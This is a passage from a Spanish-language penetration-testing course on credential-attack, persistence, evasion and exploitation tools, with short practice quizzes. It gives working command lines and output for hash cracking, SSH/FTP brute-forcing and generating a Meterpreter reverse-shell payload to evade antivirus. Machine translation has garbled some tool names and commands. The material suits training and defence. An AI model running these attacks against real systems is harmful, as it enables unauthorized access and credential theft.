John the Ripper y otras herramientas para descifrar contraseñas pueden usar listas de
palabras. Una lista de palabras es una recopilación de palabras, contraseñas conocidas
y contraseñas robadas. Kali Linux y otras distribuciones de Linux para pruebas de
penetración incluyen varias listas de palabras. Puedes usar el comando `locate` de
Linux para encontrar todas las listas de palabras en Kali Linux, como se muestra en el
Ejemplo 10-30.
Ejemplo 10-30 - Localización de listas de palabras en Kali Linux
raíz@ kali:~ # localizar lista de palabras
/usr/share/wordlists
/usr/share/applications/[Link]
/usr/share/dirb/wordlists
/usr/share/dirb/wordlists/[Link]
/usr/share/dirb/wordlists/[Link]
/usr/share/dirb/wordlists/[Link]
<salida omitida por brevedad>

73
CONSEJO: Una de las listas de palabras más populares es la lista rockyou, que incluye
miles de contraseñas expuestas en filtraciones de datos reales. Además, los siguientes
dos sitios web ofrecen listas exhaustivas de palabras con millones de contraseñas:
[Link] y [Link]
Wordlists .
Para usar una lista de palabras en John the Ripper, puedes usar el siguiente comando:
root@ kali:~ # john --wordlist mylist hashes_to_crack
En este ejemplo, el archivo de la lista de palabras se llama mylist, y el archivo con los
hashes de las contraseñas a descifrar se llama hashes_to_crack.
NOTA: El siguiente sitio web proporciona tutoriales que muestran diferentes casos de
uso para John the Ripper: [Link] .
Existe una versión con interfaz gráfica de usuario (GUI) de John the Ripper llamada
Johnny. La figura 10-18 muestra una captura de pantalla de Johnny.
Figura 10-18 - Herramienta de ataque de contraseñas Johnny

Caín
Cain (o Cain y Abel) es una herramienta que permite recuperar contraseñas de
sistemas Windows. Con ella, se pueden descifrar y recuperar las credenciales de
usuario mediante la captura de paquetes (sniffing), el descifrado de contraseñas
cifradas mediante ataques de diccionario, fuerza bruta y criptoanálisis, entre otras
técnicas. Cain y Abel es una herramienta antigua; puede consultarse información
archivada sobre ella en [Link] .
Hashcat
Hashcat es otra herramienta para descifrar contraseñas muy popular entre los
pentesters. Permite usar unidades de procesamiento gráfico (GPU) para acelerar el
proceso de descifrado de contraseñas.

74
NOTA: Hashcat viene incluido con Kali Linux y otras distribuciones de Linux para
pruebas de penetración. También puedes descargarlo desde
[Link] .
Veamos un ejemplo del uso de Hashcat para descifrar varios hashes de contraseñas
MD5 con listas de palabras. En el ejemplo 10-31, un archivo llamado my_hashes
contiene tres hashes de contraseñas MD5.
Ejemplo 10-31 - El contenido del archivo my_hashes
root@ kali:~ # cat my_hashes
dc647eb65e6711e155375218212b3964
cc03e747a6afbbcbf8be7668acfebee5
337d9b6931fd8ea8781e18999f9a1c82
El ejemplo 10-32 muestra cómo usar Hashcat para descifrar las contraseñas del archivo
`my_hashes` y guardar los resultados en un archivo llamado `cracked_passwords`. En
este ejemplo, se utiliza una lista de palabras llamada `my_list` para descifrar las
contraseñas.
Ejemplo 10-32 - Descifrado de contraseñas con Hashcat
root@ kali:~ # hashcat --force -m 0 -a 0 -o cracked_passwords my_hashes
my_listhashcat (v4.1.0) iniciando...
Plataforma OpenCL n.º 1: El proyecto pocl
====================================
* Dispositivo n.° 1: pthread-Intel(R) Xeon(R) CPU E5-2690 0 a 2,90 GHz,
4096/13996 MB asignables, 2 MCU
Hashes: 3 digestiones; 3 digestiones únicas, 1 sal única
Mapas de bits: 16 bits, 65536 entradas, máscara 0x0000ffff, 262144 bytes, 5/13
gira
Reglas: 1
Optimizadores aplicables:
* Cero bytes
* Omisión temprana
* Sin sal
* No iterado
* Sal única
* Hash sin procesar
Longitud mínima de contraseña admitida por el kernel: 0
Longitud máxima de contraseña admitida por el kernel: 256
¡ATENCIÓN! Se han seleccionado kernels OpenCL puros (sin optimizar).
Esto permite descifrar contraseñas y salts de longitud > 32, pero para el
precio de un rendimiento drásticamente reducido.
Si quieres cambiar a kernels OpenCL optimizados, añade -O a tu
línea de comandos.
* Dispositivo n.° 1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/
hashcat/OpenCL -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_
TAMAÑO=8 -D TIPO_DISPOSITIVO=2 -D DGST_R0=0 -D DGST_R1=3 -D DGST_R2=2 -D
DGST_R3=1 -D DGST_ELEM=4 -D KERN_TYPE=0 -D _desenrollar'

75
* Dispositivo #1: ¡El kernel m00000_a [Link] no se encuentra en la
caché!
La construcción puede tardar un tiempo...
Se ha creado la caché del diccionario:
* Nombre del archivo : mi_lista
* Contraseñas: 3
* Bytes.... .: 27
* Espacio de teclas : 3
* Tiempo de ejecución...: 0 segundos
<salida omitida por brevedad>
Sesión..........: hashcat
Estado...........: Crackeado
Tipo de hash: MD5
[Link]......: mis_hashes
[Link].......: Archivo (mi_lista)
Cola de adivinanzas......: 1/1 (100.00%)
[Link].# 1.....: 8248 H/s (0.01ms) @ Aceleración:1024 Bucles:1 Thr:1 Vec:8
Recuperado........: 3/3 (100,00 %) de los digeridos, 1/1 (100,00 %) de las sales
Progreso.......: 3/3 (100,00%)
Rechazado.......: 0/3 (0,00%)
Punto de restauración.... : 0/3 (0,00%)
Candidatos n.° 1....: Contraseña -> omarsucks
[Link].# 1.....: N/A
raíz@ kali:~ #
Las líneas resaltadas en el Ejemplo 10-32 muestran que Hashcat pudo descifrar las
contraseñas del archivo `my_hashes` utilizando la lista de palabras especificada
(`my_list`). En el Ejemplo 10-33 también se pueden ver las contraseñas descifradas,
guardadas en el archivo `cracked_passwords`.
Ejemplo 10-33 - Contraseñas descifradas por Hashcat
root@ kali:~ # cat contraseñas_descifradas
dc647eb65e6711e155375218212b 3964:Contraseña
cc03e747a6afbbcbf8be7668acfebee5:test123
337d9b6931fd8ea8781e18999f9a1c 82:omarsucks
Hidra
Hydra es otra herramienta que se puede usar para adivinar y descifrar credenciales.
Normalmente, Hydra se usa para interactuar con un servidor víctima (por ejemplo, un
servidor web, FTP, SSH o de archivos) y probar una lista de combinaciones de nombre
de usuario y contraseña. Por ejemplo, supongamos que sabe que el nombre de usuario
de un usuario FTP es «omar». Entonces, puede probar un archivo que contiene una
lista de contraseñas contra un servidor FTP ([Link]). Para ello, utilice el siguiente
comando:
hydra -l omar -P [Link] [Link]
El archivo [Link] contiene una lista de contraseñas comunes para probar.
Además, puedes crear un archivo con una combinación de nombres de usuario y

76
contraseñas y usar Hydra para realizar un ataque de fuerza bruta, como se indica a
continuación:
hydra -L [Link] -P [Link] [Link]
El ejemplo 10-34 muestra el menú de ayuda de Hydra.
Ejemplo 10-34 - Menú de ayuda de Hydra
raíz@ kali:~ # hydra
Hydra v8.6 (c) 2017 por van Hauser/THC - No utilizar en uso militar
o para organizaciones de servicios secretos, o con fines ilegales.
Sintaxis: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]]
[-e nsr] [-o ARCHIVO] [-t TAREAS] [-M ARCHIVO [-T TAREAS]] [-w HORA] [-W
HORA] [-f] [-s PUERTO] [-x MIN: MAX:CHARSET ] [-c HORA] [-ISOuvVd46]
[servicio://servidor [:PUERTO ][/OPCIÓN]]
Opciones:
-l LOGIN o -L FILE Iniciar sesión con el nombre de usuario LOGIN, o cargar varios
inicios de sesión.
del ARCHIVO
-p PASS o -P FILE pruebe la contraseña PASS, o cargue varias contraseñas desde
ARCHIVO
-C ARCHIVO con formato separado por dos puntos " usuario:contraseña ", en lugar
de -L/-P
opciones
-M ARCHIVO lista de servidores a atacar, una entrada por línea, ':' a
especificar puerto
-t TAREAS número de conexiones en paralelo por objetivo
(predeterminado: 16)
-U detalles de uso del módulo de servicio
-h más opciones de línea de comandos (AYUDA COMPLETA)
Servidor de destino: DNS, IP o [Link]/24 (esto O la opción -M).
opción)
servicio para descifrar (ver más abajo los protocolos compatibles)
Algunos módulos de servicio OPT admiten entrada adicional (-U para
(Ayuda del módulo)
Servicios compatibles: Adam6500, Asterisk, Cisco, Cisco-enable, CVS, Firebird
FTP, FTPS, HTTPS-{head|GET|POST}, HTTPS-{GET|POST}-form, proxy HTTP
http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5]
[s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs
pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp
s7-300 sip smb smtp[s] enumeración smtp snmp socks5 ssh clave ssh svn teamspeak
telnet[s] vmauthd vnc xmpp
Hydra es una herramienta para adivinar/descifrar pares de usuario/contraseña
válidos. Con licencia.
bajo AGPL
No utilizar en organizaciones militares o de servicios secretos, ni para fines ilegales.
propósitos.

77
Ejemplo: hydra -l usuario -P listaDeContraseñ[Link] [Link]
RainbowGrack
Los atacantes pueden usar tablas arcoíris (tablas precalculadas para invertir funciones
hash criptográficas) para acelerar el descifrado de contraseñas. Es posible usar una
tabla arcoíris para derivar una contraseña analizando su valor hash. La herramienta
RainbowCrack permite automatizar el descifrado de contraseñas mediante tablas
arcoíris. Puede descargar RainbowCrack desde [Link] .
NOTA El siguiente sitio web incluye una lista de tablas arcoíris que se pueden usar con
RainbowCrack: [Link] .
El ejemplo 10-35 muestra el menú de ayuda de RainbowCrack (rcrack).
Ejemplo 10-35 - Uso de RainbowCrack
root@ kali:~ # rcrack -h
<salida omitida por brevedad>
Uso : . /rcrack ruta [ruta] [...] -h hash
./ rcrack ruta [ruta] [...] -l archivo_lista_hash
./ rcrack ruta [ruta] [...] -lm archivo_volcado
./ rcrack ruta [ruta] [...] -ntlm archivo_volcado
ruta: directorio donde se encuentran las tablas rainbow ( *.rt , *.rtc).
almacenado
-h hash: cargar un único hash
-l archivo_lista_hash: carga los hashes desde un archivo, un hash por línea.
-lm archivo_pwdump: carga los hashes de lm desde el archivo pwdump.
-ntlm archivo_pwdump: carga los hashes ntlm desde el archivo pwdump.
Algoritmos hash implementados:
lm HashLen=8 PlaintextLen=0-7
ntlm HashLen=16 PlaintextLen=0-15
md5 HashLen=16 PlaintextLen=0-15
sha1 HashLen=20 Texto sin formatoLen=0-20
sha256 Longitud del hash=32 Longitud del texto plano=0-20
ejemplos:
./ rcrack . -h 5d41402abc4b2a76b9719d911017c592
./ rcrack . -l [Link]
Medusa y Ncrack
Las herramientas Medusa y Ncrack, similares a Hydra, permiten realizar ataques de
fuerza bruta contra las credenciales de un sistema. Medusa se puede instalar
mediante el comando `apt install medusa` en un sistema Linux basado en Debian
(como Ubuntu, Kali Linux o Parrot OS). Ncrack se puede descargar desde
[Link] o instalar mediante el comando `apt install ncrack`.
El ejemplo 10-36 muestra cómo se puede usar Ncrack para realizar un ataque de
fuerza bruta con el nombre de usuario chris y la lista de palabras my_list contra un
servidor SSH con dirección IP [Link]. La línea resaltada muestra la
contraseña (password123).
Ejemplo 10-36 - Uso de Ncrack para realizar un ataque de fuerza bruta
root@ kali:~ # ncrack -p 22 --user chris -P my_list [Link]

78
Iniciando Ncrack 0.6 ([Link] ) el 25/06/2018 a las 16:55 EDT
Se han detectado credenciales para ssh en [Link] 22/tcp:
[Link] 22/tcp ssh: 'chris' 'password123'
Ncrack finalizado: 1 servicio escaneado en 3,00 segundos.
Ncrack terminó.
El ejemplo 10-37 muestra cómo usar Medusa para realizar el mismo ataque.
Ejemplo 10-37 - Uso de Medusa para realizar un ataque de fuerza bruta
root@ kali:~ # medusa -u chris -P my_list -h [Link] -M ssh
Medusa v2.2 [[Link] (C) JoMo-Kun / Foofus Networks
<jmk@[Link]>
COMPROBACIÓN DE CUENTA: [ssh] Host: [Link] (1 de 1, 0 completadas)
Usuario:
Chris (1 de 1, 0 completados) Contraseña: contraseña (1 de 3 completados)
CUENTA ENCONTRADA: [ssh] Host: [Link] Usuario: chris Contraseña:
contraseña123 [ÉXITO]
raíz@ kali:~ #
CeWL
CeWL es una excelente herramienta para crear listas de palabras. Puedes usar CeWL
para rastrear sitios web y extraer palabras. El ejemplo 10-38 muestra cómo usar CeWL
para crear la lista de palabras [Link] rastreando el sitio web
[Link] . Puedes descargar CeWL desde
[Link] .
Ejemplo 10-38 - Uso de CeWL para crear listas de palabras
root@ kali:~ # cewl -d 2 -m 5 -w [Link] [Link]
CeWL 5.3 (Rumbo al futuro) Robin Wood (robin@[Link]) (https://
[Link] /)
raíz@ kali:~ # cat [Link]
Seco
seguridad
cursos
Seguridad
video
ético
serie
Clases en vivo
seco
pruebas
Serie
Santos
Costumbre
plantilla
penetración
Certificado
Cisco

79
Oreja
carrera
<salida omitida por brevedad>
Mimikatz
Mimikatz es una herramienta que muchos pentesters y atacantes (e incluso malware)
utilizan para recuperar hashes de contraseñas de la memoria. También es una
herramienta útil para la post-explotación. Puede descargar Mimikatz desde
[Link] . Metasploit también incluye Mimikatz como
script de Meterpreter para facilitar la explotación sin necesidad de subir archivos al
disco del host comprometido. Puede obtener más información sobre la integración de
Mimikatz y Metasploit en [Link] .
NOTA: El módulo 8, “Realización de técnicas posteriores a la explotación”, analiza
cómo Mimikatz se utiliza a menudo para actividades posteriores a la explotación y
cómo se utiliza e integra en herramientas como Empire y PowerSploit.
Patator
Patator es otra herramienta que se puede usar para ataques de fuerza bruta contra
enumeraciones de nombres de usuario SNMPv3, contraseñas VPN y otros tipos de
ataques a credenciales. Puede descargar Patator desde
[Link] . El ejemplo 10-39 muestra todos los módulos de
Patator.
Ejemplo 10-39 - Módulos Patator
omar@ kali:~ $ patator
Patator v0.6 ([Link]
Uso: patator module --help
Módulos disponibles:
+ ftp_login : Ataque de fuerza bruta a FTP
+ ssh_login : Ataque SSH por fuerza bruta
+ telnet_login : Ataque de fuerza bruta a Telnet
+ smtp_login : Ataque de fuerza bruta a SMTP
+ smtp_vrfy : Enumera los usuarios válidos que utilizan SMTP VRFY.
+ smtp_rcpt : Enumera los usuarios válidos que utilizan SMTP RCPT TO
+ finger_lookup : Enumera los usuarios válidos usando Finger
+ http_fuzz : Ataque de fuerza bruta a HTTP
+ pop_login : Ataque de fuerza bruta a POP3
+ pop_passd : Ataque de fuerza bruta a poppassd
([Link]
+ imap_login : Ataque de fuerza bruta a IMAP4
+ ldap_login : Ataque de fuerza bruta a LDAP
+ smb_login : Ataque de fuerza bruta a SMB
+ smb_lookupsid : Búsqueda por fuerza bruta del SID de SMB
+ rlogin_login : rlogin de fuerza bruta
+ vmauthd_login: Ataque de fuerza bruta al demonio de autenticación de VMware
+ mssql_login : Ataque de fuerza bruta a MSSQL
+ oracle_login : Ataque de fuerza bruta a Oracle

80
+ mysql_login : Ataque de fuerza bruta a MySQL
+ mysql_query : Consultas MySQL de fuerza bruta
+ pgsql_login : Ataque de fuerza bruta a PostgreSQL
+ vnc_login : Ataque de fuerza bruta a VNC
+ dns_forward : Nombres de búsqueda directa
+ dns_reverse : Subredes de búsqueda inversa
+ snmp_login : Ataque de fuerza bruta a SNMP v1/2/3
+ unzip_pass : Intenta descifrar por fuerza bruta la contraseña de archivos ZIP
cifrados.
+ keystore_pass: Ataque por fuerza bruta a la contraseña de los archivos keystore de
Java
+ umbraco_ crack: Crack Umbraco HMAC-SHA1 hashes de contraseña
+ tcp_fuzz : Servicios TCP de fuzzing
+ dummy_test : Módulo de prueba
omar@ kali:~ $
10.2.8 Práctica - Herramientas comunes para ataques a credenciales
Pregunta 1
Relacione las herramientas de ataque a credenciales con sus descripciones.

Pregunta 2
Has descubierto un archivo de contraseñas en un sistema comprometido y quieres
intentar descifrar algunas de ellas usando tu máquina virtual Kali. Para ahorrar
tiempo, utilizarás tablas de hashes precalculados y una lista de palabras
especializada personalizada, derivada de páginas web relevantes que tú mismo
crearás.
¿Qué herramientas puedes utilizar para lograr esto? (Elige dos).
CeWL
Mimikatz
Patator
RainbowGrack
Caín

81
Pregunta 3
Durante la prueba de penetración del cliente Pixel Paradise, se ha detectado un
servidor web malicioso operando en la red sin el conocimiento de la administración.
Los escaneos de puertos indican que también ejecuta un servicio de inicio de sesión
remoto. Se desea poner a prueba las credenciales del servidor para obtener acceso
de administrador.
¿Qué herramienta utilizarías para lograr esto?
Hidra
Mimikatz
CeWL
Juan el Destripador
Pregunta 4
Has obtenido acceso al servidor web de la red Pixel Paradise mediante una
herramienta de prueba de diversas combinaciones de nombre de usuario y
contraseña. Tu objetivo es escalar privilegios en la cuenta comprometida intentando
extraer la contraseña de administrador de la memoria del sistema.
¿Qué herramienta de post-explotación te permitirá hacer esto?
Mimikatz
Hidra
Patator
Caín
Pregunta 5
Tras utilizar herramientas DNS para el reconocimiento, has descubierto un servidor
de correo que parece estar ejecutando una versión obsoleta de SMTP. Quieres
enumerar las cuentas de usuario SMTP y descifrar las contraseñas asociadas
mediante fuerza bruta.
¿Qué herramienta deberías utilizar para realizar estas tareas?
Medusa
Hashcat
Patator
Juan el Destripador
10.2.9 Herramientas comunes para la persistencia
En el Módulo 8, aprendió cómo mantener la persistencia en un sistema comprometido
tras su explotación. Aprendió sobre la utilidad Netcat, que se puede usar para crear
una shell vinculada en el sistema de la víctima y ejecutar la shell Bash. En el Módulo 8,
también aprendió que se pueden usar protocolos de acceso remoto para comunicarse
con un sistema comprometido y realizar movimientos laterales. Estos protocolos
incluyen los siguientes:
 Protocolo de escritorio remoto (RDP) de Microsoft
 Escritorio remoto de Apple
82
 VNC
 Reenvío del servidor X
También puedes usar PowerShell para obtener listados de directorios, copiar y mover
archivos, obtener una lista de procesos en ejecución y realizar tareas administrativas.
NOTA: Consulte el Módulo 8 para obtener una lista de comandos de PowerShell que
puede usar para realizar actividades posteriores a la explotación.
PowerSploit es una colección de módulos de PowerShell que se pueden usar para la
post-explotación y otras fases de una evaluación. PowerSploit se puede descargar
desde [Link] .
Empire es un framework de post-explotación basado en PowerShell, muy popular
entre los pentesters. Es un framework de código abierto que incluye un agente de
PowerShell para Windows y un agente de Python para Linux. Puedes descargar Empire
desde [Link] .
NOTA: Empire implementa la capacidad de ejecutar agentes de PowerShell sin
necesidad de [Link]. Esto permite desplegar rápidamente módulos de post-
explotación, incluyendo registradores de pulsaciones de teclas, shells inversas,
Mimikatz y comunicaciones adaptables para evadir la detección.
10.2.10 Práctica - Herramientas comunes para la persistencia
Has obtenido acceso a una red y ahora buscas la manera de establecer acceso
persistente a los sistemas. ¿Qué protocolos se utilizan comúnmente para comunicarse
con un sistema comprometido y realizar movimiento lateral? (Elige dos).
Maltego
la cosechadora
Reenvío del servidor X
VNC
Foca
10.2.11 Herramientas comunes para la evasión
En una prueba de penetración, lo ideal es mantener el sigilo e intentar evadir y sortear
los controles de seguridad implementados por la organización. Para ello, se pueden
utilizar diversas herramientas y técnicas, entre las que se incluyen las siguientes:
 Velo
 Colina
 Proxychains
 Cifrado
 Encapsulación y tunelización mediante DNS y protocolos como NTP
Velo
Veil es un framework que se puede usar con Metasploit para evadir los controles
antivirus y otras medidas de seguridad. Puedes descargar Veil desde
[Link] y obtener documentación detallada en
[Link] .
Seleccione cada uno de los siguientes pasos para un ejemplo de Veil.
Paso 1. Lanzar Velo
Paso 1. Lanzar Velo

83
Después de usar el comando veil para iniciar Veil, se muestra el menú de Veil, como se
muestra en la Figura 10-19.
Figura 10-19 - Menú principal de Veil

Paso 2. Seleccionar Evasión


Paso 2. Seleccionar Evasión
Para usar Veil para la evasión, seleccione la primera opción (número 1), como se
muestra en la Figura 10-20. Veil luego muestra las cargas útiles disponibles y los
comandos de Veil.
Figura 10-20 - Usar el Velo para la Evasión

84
Paso 3. Enumere las cargas útiles
Paso 3. Enumere las cargas útiles
Para listar las cargas útiles disponibles, utilice el comando list y verá la pantalla de la
Figura 10-21.
Figura 10-21 - Cargas útiles disponibles de Veil

85
Paso 4. Instalar una carga útil
Paso 4. Instalar una carga útil
En la figura 10-22 se utiliza la carga útil TCP inversa de Meterpreter. Tras seleccionar la
carga útil, debe configurar el host local (LHOST) y, a continuación, utilizar el comando
generate para generarla.
La figura 10-22 muestra el instalador de Python predeterminado que se utiliza para
generar la carga útil.
Figura 10-22 - Configuración del LHOST y generación de la carga útil

86
Paso 5. Verificar la ubicación del archivo de carga útil
Paso 5. Verificar la ubicación del archivo de carga útil
Una vez generada la carga útil, se muestra la pantalla de la Figura 10-23. En la parte
superior de la Figura 10-23 se indican las ubicaciones del ejecutable de la carga útil, el
código fuente y el archivo de recursos de Metasploit.
Figura 10-23 - Ubicación del ejecutable de la carga útil, el código fuente y el archivo de
recursos de Metasploit

87
Colina
Muchas personas utilizan herramientas como Tor para proteger su privacidad. Tor es
una herramienta gratuita que permite a sus usuarios navegar por Internet de forma
anónima. Tor funciona redirigiendo el tráfico IP a través de una red mundial gratuita
compuesta por miles de nodos Tor. Cambia constantemente la forma en que enruta el
tráfico para ocultar la ubicación del usuario a cualquiera que esté monitorizando la
red. El nombre de Tor es un acrónimo del nombre del proyecto de software original:
«The Onion Router» (El Enrutador Cebolla).
NOTA: Algunos tipos de malware utilizan Tor para ocultar sus huellas.
Tor permite a los usuarios evadir y sortear la monitorización y los controles de
seguridad, ya que resulta difícil atribuir y rastrear el tráfico hasta el usuario. Su
enrutamiento en capas (o «enrollado cebolla») se logra cifrando la capa de aplicación
de una pila de protocolos de comunicación «anidada», de forma similar a las capas de
una cebolla. El cliente Tor cifra los datos varias veces y los envía a través de una red o
circuito que incluye repetidores Tor seleccionados aleatoriamente. Cada repetidor
descifra una capa de la cebolla para revelar únicamente el siguiente repetidor, de
modo que los datos cifrados restantes puedan enrutarse a él. La figura 10-24 muestra
una captura de pantalla del navegador Tor. En ella se observa el circuito Tor cuando el
usuario accedió a [Link] desde el navegador Tor. La conexión se dirigió
primero a un servidor en Francia, luego a un servidor en Hungría, después de nuevo a
Francia y, finalmente, a [Link].
Figura 10-24 - El navegador Tor

88
CONSEJO: Un nodo de salida de Tor es básicamente el último nodo de Tor, o la «puerta
de enlace», por donde el tráfico cifrado de Tor «sale» a Internet. Un nodo de salida de
Tor puede ser el objetivo para monitorizar el tráfico de Tor. Muchas organizaciones
bloquean los nodos de salida de Tor en su entorno. El proyecto Tor cuenta con una
lista dinámica de nodos de salida de Tor que facilita esta tarea.
Proxychains
Proxychains puede usarse para la evasión de seguridad, ya que es una herramienta que
fuerza cualquier conexión TCP realizada por una aplicación específica a usar Tor o
cualquier otro proxy SOCKS4, SOCKS5, HTTP o HTTPS. Puedes descargar Proxychains
desde [Link] .
Cifrado
El cifrado ofrece grandes ventajas para la seguridad y la privacidad, pero el ámbito de
la respuesta a incidentes y la informática forense puede presentar diversos desafíos.
Incluso las fuerzas del orden se han sentido atraídas por la doble función del cifrado. A
la hora de proteger la información y las comunicaciones, el cifrado ofrece numerosas
ventajas para todos, desde gobiernos y fuerzas armadas hasta empresas y particulares.
Por otro lado, esos mismos mecanismos pueden ser utilizados por ciberdelincuentes
como método de evasión y ofuscación. Históricamente, incluso los gobiernos han
intentado regular el uso y la exportación de tecnologías de cifrado. Un buen ejemplo

89
es el Acuerdo de Wassenaar, un tratado multinacional cuyo objetivo es regular la
exportación de tecnologías como el cifrado.
Como otro ejemplo, el Buró Federal de Investigación (FBI) de EE. UU. ha intentado
obligar a los proveedores a mantener ciertas técnicas de investigación en su software y
dispositivos. Otro ejemplo es la supuesta puerta trasera de la Agencia de Seguridad
Nacional (NSA) de EE. UU. en el Generador de Bits Aleatorios Determinista de Curva
Elíptica Dual (Dual_EC_DRBG), que permite la extracción de texto plano de cualquier
algoritmo inicializado por este generador de números pseudoaleatorios.
Algunas personas se han dejado seducir por la idea de "encriptar todo". Sin embargo,
encriptar todo tendría consecuencias muy graves, no solo para las fuerzas del orden,
sino también para los profesionales de respuesta a incidentes. Un aspecto importante
a tener en cuenta sobre el concepto de "encriptar todo" es que la implementación del
cifrado de extremo a extremo es compleja y puede dejar datos sin encriptar expuestos
a ataques.
Muchos productos de seguridad (incluidos los sistemas de prevención de intrusiones
[IPS] y los cortafuegos de última generación) pueden interceptar, descifrar,
inspeccionar y volver a cifrar, o incluso ignorar, el tráfico cifrado. Algunos consideran
esto un problema de ataque en ruta (anteriormente conocido como ataque de
intermediario [MITM]) y les preocupa la privacidad. Sin embargo, aún es posible
utilizar los metadatos del tráfico de red y otras fuentes de eventos de seguridad para
investigar y resolver problemas de seguridad. Se puede obtener mucha información
valiosa aprovechando NetFlow, los registros del cortafuegos, los registros del proxy
web, la información de autenticación de usuarios e incluso los datos de DNS pasivo
(pDNS). En algunos casos, la combinación de estos registros puede hacer que el
contenido cifrado de las cargas útiles del malware y otro tráfico resulte irrelevante, si
se pueden detectar sus patrones de tráfico para solucionar un incidente.
Es un hecho que se necesita trabajar con datos cifrados, pero esto debe hacerse
durante la transmisión o en reposo en un servidor o punto de conexión. Si se
implementan proxies web, es necesario evaluar la viabilidad de que las conexiones
HTTP sean seguras frente a ataques en ruta en el entorno.
CONSEJO: Es importante tener en cuenta que, desde la perspectiva de la
monitorización de seguridad, es técnicamente posible monitorizar algunas
comunicaciones cifradas. Sin embargo, desde el punto de vista de las políticas de
privacidad, resulta una tarea especialmente compleja, dependiendo de la ubicación
geográfica y las leyes locales sobre privacidad (por ejemplo, el RGPD). Existen
tecnologías como Cisco Encrypted Traffic Analytics (ETA) que permiten detectar
actividades maliciosas (comportamiento de malware) sin necesidad de descifrar los
paquetes.
Encapsulación y tunelización mediante DNS y protocolos como NTP
Los ciberdelincuentes han utilizado diversas técnicas no convencionales para robar
datos de redes corporativas sin ser detectados. Por ejemplo, han enviado datos
robados de tarjetas de crédito, propiedad intelectual y documentos confidenciales a
través de DNS mediante tunelización. Como probablemente sepa, DNS es un protocolo
que permite a los sistemas resolver nombres de dominio (por ejemplo,

90
[Link]) en direcciones IP (por ejemplo, [Link]). DNS no está
diseñado para ser un canal de comando ni para la tunelización. Sin embargo, los
atacantes han desarrollado software que permite la tunelización a través de DNS. Estos
ciberdelincuentes prefieren usar protocolos no diseñados para la transferencia de
datos porque son menos controlados en términos de seguridad. La tunelización DNS
no detectada (también conocida como exfiltración DNS) representa un riesgo
significativo para cualquier organización.
 En muchos casos, el malware utiliza la codificación Base64 para introducir datos
confidenciales (como números de tarjetas de crédito e información personal
identificable) en la carga útil de los paquetes DNS que los ciberdelincuentes envían
a sus atacantes. A continuación, se muestran algunos ejemplos de métodos de
codificación que pueden utilizar los atacantes:
 Codificación Base64
 Codificación binaria (8 bits)
 Codificación NetBIOS
 Codificación hexadecimal
 Se han creado varias utilidades para realizar tunelización DNS (tanto por buenas
razones como por malas). A continuación, algunos ejemplos:
 DeNiSe: Esta herramienta de Python sirve para crear túneles TCP sobre DNS.
Puedes descargar DeNiSe desde [Link] .
 dns2tcp: Escrito por Olivier Dembour y Nicolas Collignon en C, dns2tcp admite los
tipos de solicitud KEY y TXT. Puede descargar dns2tcp desde
[Link] .
 DNScapy: Creada por Pierre Bienaimé, esta herramienta Scapy basada en Python
para la generación de paquetes incluso admite el túnel SSH sobre DNS, incluyendo
un proxy SOCKS. Puedes descargar DNScapy desde
[Link] .
 DNScat o DNScat-P: Esta herramienta basada en Java, creada por Tadeusz
Pietraszek, admite la comunicación bidireccional a través de DNS. Puede descargar
DNScat desde [Link] .
 DNScat2 (DNScat-B): Desarrollada por Ron Bowes, esta herramienta funciona en
Linux, macOS y Windows. DNScat2 codifica las solicitudes DNS en codificación
NetBIOS o hexadecimal. Puede descargar DNScat2 desde
[Link] .
 Heyoka: Esta herramienta para Windows, escrita en C, admite el túnel bidireccional
para la exfiltración de datos. Puede descargar Heyoka desde
[Link] .
 iodine: Escrito por Bjorn Andersson y Erik Ekman en C, iodine funciona en Linux,
macOS y Windows, e incluso se puede adaptar a Android. Puedes descargar iodine
desde [Link] .
 sods: Originalmente escrita en Perl por Dan Kaminsky, esta herramienta se utiliza
para establecer un túnel SSH sobre DNS o para la transferencia de archivos. Las
solicitudes se codifican en Base32 y las respuestas son registros TXT codificados en
Base64. Puedes descargar sods desde [Link] .

91
 psudp: Desarrollada por Kenton Born, esta herramienta inyecta datos en las
solicitudes DNS existentes modificando la longitud de las cabeceras IP/UDP. Puede
obtener más información sobre psudp en
[Link]
pdf .
 Feederbot y Moto: Los atacantes han utilizado este malware con DNS para robar
información confidencial de numerosas organizaciones. Puede obtener más
información sobre estas herramientas en [Link]
botnet-using-dns-command-and-control/ .
Algunas de estas herramientas no fueron creadas para robar datos, pero los
ciberdelincuentes las han apropiado para sus propios fines.

10.2.12 Práctica - Herramientas comunes para la evasión


Los hackers pueden evadir las medidas de seguridad y la detección. Los pentesters
deberían utilizar herramientas y técnicas similares para lograr lo mismo.
Relacione la herramienta o técnica de evasión con su descripción.

10.2.13 Marcos de explotación


Dos de los frameworks de explotación más populares entre los pentesters son
Metasploit y el Browser Exploitation Framework Project (BeEF).
Metasploit
Metasploit es, con diferencia, el framework de explotación más popular del sector. Fue
creado por el investigador de seguridad HD Moore y posteriormente vendido a Rapid7.
Existen dos versiones de Metasploit: una edición comunitaria (gratuita) y una edición
profesional. Metasploit, escrito en Ruby, cuenta con una arquitectura robusta. En Kali
Linux, Metasploit se instala por defecto en `/usr/share/metasploit-framework`. Todos
los archivos, módulos, documentación y scripts correspondientes se encuentran en esa
carpeta. El ejemplo 10-40 muestra la ubicación de la documentación de Metasploit en
Kali.
Ejemplo 10-40 - Ubicación de la documentación de Metasploit

92
root@ kali:~ # ls /usr/share/metasploit-framework/documentation/
CÓDIGO_DE_CONDUCTA.md CONTRIBUCIÓ[Link] [Link]
registro_de_cambios.[Link]
Guía de desarrolladores de derechos de autor (desarrolladores_guide.[Link])
 Metasploit tiene varios módulos:
 auxiliar
 codificadores
 exploits
 nops
 cargas útiles
 post (para post-explotación)
Puede iniciar la consola de Metasploit mediante el comando msfconsole. Al iniciar la
consola de Metasploit, se muestra el banner de la Figura 10-25.
Figura 10-25 - La consola de Metasploit

Puedes usar la base de datos PostgreSQL en Kali para acelerar las tareas en Metasploit
e indexar los componentes subyacentes. Necesitas iniciar el servicio PostgreSQL antes
de usar la base de datos mediante el siguiente comando:
root@ kali:~ # iniciar el servicio postgresql
